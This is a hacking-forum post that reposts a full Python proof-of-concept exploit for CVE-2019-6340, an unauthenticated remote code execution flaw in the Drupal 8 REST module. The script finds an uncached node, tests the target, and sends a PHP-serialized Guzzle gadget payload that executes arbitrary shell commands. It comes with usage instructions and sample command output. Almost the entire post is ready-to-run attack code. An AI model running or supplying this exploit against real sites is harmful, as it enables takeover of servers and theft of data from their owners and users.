Jump to content
  • Hello visitors, welcome to the Hacker World Forum!

    Red Team 1949  (formerly CHT Attack and Defense Team) In this rapidly changing Internet era, we maintain our original intention and create the best community to jointly exchange network technologies. You can obtain hacker attack and defense skills and knowledge in the forum, or you can join our Telegram communication group to discuss and communicate in real time. All kinds of advertisements are prohibited in the forum. Please register as a registered user to check our usage and privacy policy. Thank you for your cooperation.

    TheHackerWorld Official

Drupal < 8.6.9 - REST Module Remote Code Execution

 Share


KaiWn

Recommended Posts

#!/usr/bin/env python3

# CVE-2019-6340 Drupal <= 8.6.9 REST services RCE PoC
# 2019 @leonjza

# Technical details for this exploit is available at:
#   https://www.drupal.org/sa-core-2019-003
#   https://www.ambionics.io/blog/drupal8-rce
#   https://twitter.com/jcran/status/1099206271901798400

# Sample usage:
#
# $ python cve-2019-6340.py http://127.0.0.1/ "ps auxf"
# CVE-2019-6340 Drupal 8 REST Services Unauthenticated RCE PoC
#  by @leonjza
#
# References:
#  https://www.drupal.org/sa-core-2019-003
#  https://www.ambionics.io/blog/drupal8-rce
#
# [warning] Caching heavily affects reliability of this exploit.
# Nodes are used as they are discovered, but once they are done,
# you will have to wait for cache expiry.
#
# Targeting http://127.0.0.1/...
# [+] Finding a usable node id...
# [x] Node enum found a cached article at: 2, skipping
# [x] Node enum found a cached article at: 3, skipping
# [+] Using node_id 4
# [+] Target appears to be vulnerable!
#
# USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
# root        49  0.0  0.0   4288   716 pts/0    Ss+  16:38   0:00 sh
# root         1  0.0  1.4 390040 30540 ?        Ss   15:20   0:00 apache2 -DFOREGROUND
# www-data    24  0.1  2.8 395652 57912 ?        S    15:20   0:08 apache2 -DFOREGROUND
# www-data    27  0.1  2.9 396152 61108 ?        S    15:20   0:08 apache2 -DFOREGROUND
# www-data    31  0.0  3.4 406304 70408 ?        S    15:22   0:04 apache2 -DFOREGROUND
# www-data    39  0.0  2.7 398472 56852 ?        S    16:14   0:02 apache2 -DFOREGROUND
# www-data    44  0.2  3.2 402208 66080 ?        S    16:37   0:05 apache2 -DFOREGROUND
# www-data    56  0.0  2.6 397988 55060 ?        S    16:38   0:01 apache2 -DFOREGROUND
# www-data    65  0.0  2.3 394252 48460 ?        S    16:40   0:01 apache2 -DFOREGROUND
# www-data    78  0.0  2.5 400996 51320 ?        S    16:47   0:01 apache2 -DFOREGROUND
# www-data   117  0.0  0.0   4288   712 ?        S    17:20   0:00  \_ sh -c echo

import sys
from urllib.parse import urlparse, urljoin

import requests


def build_url(*args) -> str:
    """
        Builds a URL
    """

    f = ''
    for x in args:
        f = urljoin(f, x)

    return f


def uri_valid(x: str) -> bool:
    """
        https://stackoverflow.com/a/38020041
    """

    result = urlparse(x)
    return all([result.scheme, result.netloc, result.path])


def check_drupal_cache(r: requests.Response) -> bool:
    """
        Check if a response had the cache header.
    """

    if 'X-Drupal-Cache' in r.headers and r.headers['X-Drupal-Cache'] == 'HIT':
        return True

    return False


def find_article(base: str, f: int = 1, l: int = 100):
    """
        Find a target article that does not 404 and is not cached
    """

    while f < l:
        u = build_url(base, '/node/', str(f))
        r = requests.get(u)

        if check_drupal_cache(r):
            print(f'[x] Node enum found a cached article at: {f}, skipping')
            f += 1
            continue

        # found an article?
        if r.status_code == 200:
            return f
        f += 1


def check(base: str, node_id: int) -> bool:
    """
        Check if the target is vulnerable.
    """

    payload = {
        "_links": {
            "type": {
                "href": f"{urljoin(base, '/rest/type/node/INVALID_VALUE')}"
            }
        },
        "type": {
            "target_id": "article"
        },
        "title": {
            "value": "My Article"
        },
        "body": {
            "value": ""
        }
    }

    u = build_url(base, '/node/', str(node_id))
    r = requests.get(f'{u}?_format=hal_json', json=payload, headers={"Content-Type": "application/hal+json"})

    if check_drupal_cache(r):
        print(f'Checking if node {node_id} is vuln returned cache HIT, ignoring')
        return False

    if 'INVALID_VALUE does not correspond to an entity on this site' in r.text:
        return True

    return False


def exploit(base: str, node_id: int, cmd: str):
    """
        Exploit using the Guzzle Gadgets
    """

    # pad a easy search replace output:
    cmd = 'echo ---- & ' + cmd
    payload = {
        "link": [
            {
                "value": "link",
                "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000"
                           "GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\""
                           "close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:"
                           "{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";"
                           "s:|size|:\"|command|\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000"
                           "stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000"
                           "GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\""
                           "resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
                           "".replace('|size|', str(len(cmd))).replace('|command|', cmd)
            }
        ],
        "_links": {
            "type": {
                "href": f"{urljoin(base, '/rest/type/shortcut/default')}"
            }
        }
    }

    u = build_url(base, '/node/', str(node_id))
    r = requests.get(f'{u}?_format=hal_json', json=payload, headers={"Content-Type": "application/hal+json"})

    if check_drupal_cache(r):
        print(f'Exploiting {node_id} returned cache HIT, may have failed')

    if '----' not in r.text:
        print('[warn] Command execution _may_ have failed')

    print(r.text.split('----')[1])


def main(base: str, cmd: str):
    """
        Execute an OS command!
    """

    print('[+] Finding a usable node id...')
    article = find_article(base)
    if not article:
        print('[!] Unable to find a node ID to reference. Check manually?')
        return

    print(f'[+] Using node_id {article}')

    vuln = check(base, article)
    if not vuln:
        print('[!] Target does not appear to be vulnerable.')
        print('[!] It may also simply be a caching issue, so maybe just try again later.')
        return
    print(f'[+] Target appears to be vulnerable!')

    exploit(base, article, cmd)


if __name__ == '__main__':

    print('CVE-2019-6340 Drupal 8 REST Services Unauthenticated RCE PoC')
    print(' by @leonjza\n')
    print('References:\n'
          ' https://www.drupal.org/sa-core-2019-003\n'
          ' https://www.ambionics.io/blog/drupal8-rce\n')
    print('[warning] Caching heavily affects reliability of this exploit.\n'
          'Nodes are used as they are discovered, but once they are done,\n'
          'you will have to wait for cache expiry.\n')

    if len(sys.argv) <= 2:
        print(f'Usage: {sys.argv[0]} <target base URL> <command>')
        print(f'    Example: {sys.argv[0]} http://127.0.0.1/ id')

    target = sys.argv[1]
    command = sys.argv[2]
    if not uri_valid(target):
        print(f'Target {target} is not a valid URL')
        sys.exit(1)

    print(f'Targeting {target}...')
    main(target, command)
            
Link to post
Link to comment
Share on other sites

 Share

discussion group

discussion group

    You don't have permission to chat.
    • Recently Browsing   0 members

      • No registered users viewing this page.
    ×
    ×
    • Create New...